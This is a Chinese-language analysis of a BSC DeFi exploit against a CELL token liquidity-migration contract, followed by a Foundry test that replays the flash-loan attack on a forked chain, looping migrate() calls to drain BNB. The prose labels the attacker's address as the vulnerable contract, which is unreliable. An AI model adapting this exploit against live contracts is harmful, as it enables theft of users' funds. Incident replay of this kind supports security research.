这起事件的原因被确认为在流动性迁移过程中计算token数量时出现了问题。
漏洞合约地址:0x2525c811EcF22Fc5fcdE03c67112D34E97DA6079
攻击者首先在DPP上通过闪电贷获取了1000BNB,然后以此为抵押又从Pancake V3获取了500,000个"new cell" token。
所有的"new cell" token被换成BNB,导致池子里面的BNB余额几乎为0。攻击者们继续使用900BNB购买了对应的"old cell" token。
然后攻击者为"old cell"和BNB增加了流动性,允许它们可以获得"old LP" token。
攻击者初始化了流动性迁移函数。新的池子中有着最少得BNB,但是老的池子有着"old cell" token。在迁移过程中的流动性移除导致了BNB的增加和"old cell"的减少,因为它们在旧池子中被限制使用。
变量"resoult"和"token1"增大,用户只需要少量的BNB和"new cell" token便能获得流动性。超出的BNB和"old cell" token将会被归还给用户。
流动性迁移过程被重复多次,每次循环进一步加剧池子的不平衡状态,放大了攻击者的收益。
最后攻击者从新池子中提取流动性,将返还的"old cell" token换成BNB。最终,旧池子里面有足够多的"old cell" token,但是没有BNB,攻击者成功地将"old cell" token换成金银白银的$BNB。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~76K USD$
// Attacker - https://bscscan.com/address/0x2525c811ecf22fc5fcde03c67112d34e97da6079
// Attack contract - https://bscscan.com/address/0x1e2a251b29e84e1d6d762c78a9db5113f5ce7c48
// Attack Tx : https://bscscan.com/tx/0x943c2a5f89bc0c17f3fe1520ec6215ed8c6b897ce7f22f1b207fea3f79ae09a6
// Pre-Attack Tx: https://bscscan.com/tx/0xe2d496ccc3c5fd65a55048391662b8d40ddb5952dc26c715c702ba3929158cb9
// @Analysis - https://twitter.com/numencyber/status/1664132985883615235?cxt=HHwWhoDTqceImJguAAAA
interface IPancakeV3Pool {
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
}
interface IPancakeRouterV3 {
struct ExactInputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 amountIn;
uint256 amountOutMinimum;
uint160 sqrtPriceLimitX96;
}
function exactInputSingle(
ExactInputSingleParams memory params
) external payable returns (uint256 amountOut);
}
interface ILpMigration {
function migrate(uint256 amountLP) external;
}
contract ContractTest is Test {
IDPPOracle DPPOracle =
IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
IPancakeV3Pool PancakePool =
IPancakeV3Pool(0xA2C1e0237bF4B58bC9808A579715dF57522F41b2);
Uni_Router_V2 Router =
Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
Uni_Pair_V2 CELL9 = Uni_Pair_V2(0x06155034f71811fe0D6568eA8bdF6EC12d04Bed2);
IPancakePair PancakeLP =
IPancakePair(0x1c15f4E3fd885a34660829aE692918b4b9C1803d);
ILpMigration LpMigration =
ILpMigration(0xB4E47c13dB187D54839cd1E08422Af57E5348fc1);
IPancakeRouterV3 SmartRouter =
IPancakeRouterV3(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4);
IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
IERC20 oldCELL = IERC20(0xf3E1449DDB6b218dA2C9463D4594CEccC8934346);
IERC20 newCELL = IERC20(0xd98438889Ae7364c7E2A3540547Fad042FB24642);
IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
address public constant zap = 0x5E86bD98F7BEFBF5C602EdB5608346f65D9578c3;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("bsc", 28708273);
cheats.label(address(DPPOracle), "DPPOracle");
cheats.label(address(PancakePool), "PancakePool");
cheats.label(address(Router), "Router");
cheats.label(address(PancakeLP), "PancakeLP");
cheats.label(address(LpMigration), "LpMigration");
cheats.label(address(SmartRouter), "SmartRouter");
cheats.label(address(CELL9), "CELL9");
cheats.label(address(WBNB), "WBNB");
cheats.label(address(oldCELL), "oldCELL");
cheats.label(address(newCELL), "newCELL");
cheats.label(address(BUSD), "BUSD");
cheats.label(zap, "Zap");
}
function testExploit() public {
deal(address(WBNB), address(this), 0.1 ether);
emit log_named_decimal_uint(
"Attacker WBNB balance before attack",
WBNB.balanceOf(address(this)),
WBNB.decimals()
);
// Preparation. Pre-attack transaction
WBNB.approve(address(Router), type(uint256).max);
swapTokens(
address(WBNB),
address(oldCELL),
WBNB.balanceOf(address(this))
);
oldCELL.approve(zap, type(uint256).max);
oldCELL.approve(address(Router), type(uint256).max);
swapTokens(
address(oldCELL),
address(WBNB),
oldCELL.balanceOf(address(this)) / 2
);
Router.addLiquidity(
address(oldCELL),
address(WBNB),
oldCELL.balanceOf(address(this)),
WBNB.balanceOf(address(this)),
0,
0,
address(this),
block.timestamp + 100
);
// End of preparation. Attack start
DPPOracle.flashLoan(1_000 * 1e18, 0, address(this), new bytes(1));
emit log_named_decimal_uint(
"Attacker WBNB balance after attack",
WBNB.balanceOf(address(this)),
WBNB.decimals()
);
}
function DPPFlashLoanCall(
address sender,
uint256 baseAmount,
uint256 quoteAmount,
bytes calldata data
) external {
PancakePool.flash(
address(this),
0,
500_000 * 1e18,
hex"0000000000000000000000000000000000000000000069e10de76676d0800000"
);
newCELL.approve(address(SmartRouter), type(uint256).max);
smartRouterSwap();
swapTokens(
address(newCELL),
address(WBNB),
94_191_714_329_478_648_796_861
);
swapTokens(
address(newCELL),
address(BUSD),
newCELL.balanceOf(address(this))
);
BUSD.approve(address(Router), type(uint256).max);
swapTokens(address(BUSD), address(WBNB), BUSD.balanceOf(address(this)));
WBNB.transfer(address(DPPOracle), 1_000 * 1e18);
}
function pancakeV3FlashCallback(
uint256 fee0,
uint256 fee1,
bytes calldata data
) external {
newCELL.approve(address(Router), type(uint256).max);
CELL9.approve(address(LpMigration), type(uint256).max);
swapTokens(address(newCELL), address(WBNB), 500_000 * 1e18);
// Acquiring oldCELL tokens
swapTokens(address(WBNB), address(oldCELL), 900 * 1e18);
// Liquidity amount to migrate (for one call to migrate() func)
uint256 lpAmount = CELL9.balanceOf(address(this)) / 10;
emit log_named_uint(
"Amount of liquidity to migrate (for one migrate call)",
lpAmount
);
// 8 calls to migrate were successfull. Ninth - revert in attack tx.
for (uint256 i; i < 9; ++i) {
LpMigration.migrate(lpAmount);
}
PancakeLP.transfer(
address(PancakeLP),
PancakeLP.balanceOf(address(this))
);
PancakeLP.burn(address(this));
swapTokens(
address(WBNB),
address(newCELL),
WBNB.balanceOf(address(this))
);
swapTokens(
address(oldCELL),
address(WBNB),
oldCELL.balanceOf(address(this))
);
newCELL.transfer(address(PancakePool), 500_000 * 1e18 + fee1);
}
// Helper function for swap tokens with the use Pancake RouterV2
function swapTokens(address from, address to, uint256 amountIn) internal {
address[] memory path = new address[](2);
path[0] = from;
path[1] = to;
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
amountIn,
0,
path,
address(this),
block.timestamp + 100
);
}
// Helper function for swap tokens with the use Pancake RouterV3
function smartRouterSwap() internal {
IPancakeRouterV3.ExactInputSingleParams memory params = IPancakeRouterV3
.ExactInputSingleParams({
tokenIn: address(newCELL),
tokenOut: address(WBNB),
fee: 500,
recipient: address(this),
amountIn: 768_165_437_250_117_135_819_067,
amountOutMinimum: 0,
sqrtPriceLimitX96: 0
});
SmartRouter.exactInputSingle(params);
}
receive() external payable {}
}